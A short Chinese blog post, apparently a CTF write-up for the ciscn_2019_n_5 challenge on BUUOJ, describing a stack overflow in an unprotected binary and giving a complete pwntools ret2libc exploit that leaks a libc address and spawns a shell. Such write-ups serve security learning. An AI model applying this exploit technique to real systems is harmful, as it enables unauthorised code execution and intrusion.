PWN手的成长之路-17-ciscn_2019_n_5-ret2libc

image

file,checksec:
image
居然无任何保护。

IDA 打开文件:
image
存在栈溢出,但是并没有找到backdoor 函数,或者system函数和binsh字符串,因此就用 ret2libc来打。

exp:

from pwn import *
from LibcSearcher import *

#start
r = remote('node5.buuoj.cn',29486)
elf = ELF('./pwn')
context.log_level='debug'

#params
rdi_addr = 0x400713
ret_addr = 0x4004c9
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']

#atack1
payload = b'a'*(0x20+8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) +p64(main_addr)
r.sendlineafter(b'name','aaa')
r.recvline(b'\n')
r.recvline(b'\n')
r.sendline(payload)
data_now = r.recv(timeout=1) #这一句有没有都可以,不影响程序。
puts_real_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real_addr))

#libc
libc = LibcSearcher('puts',puts_real_addr)
base_addr = puts_real_addr -libc.dump('puts')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')

#attack2
payload2 = b'a'*(0x20+8) + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
r.sendlineafter(b'name','aaa')
r.recvline(b'\n')
r.recvline(b'\n')
r.sendline(payload2)
r.interactive()
posted @ 2025-10-15 23:21  B0rry  阅读(2)  评论(0)    收藏  举报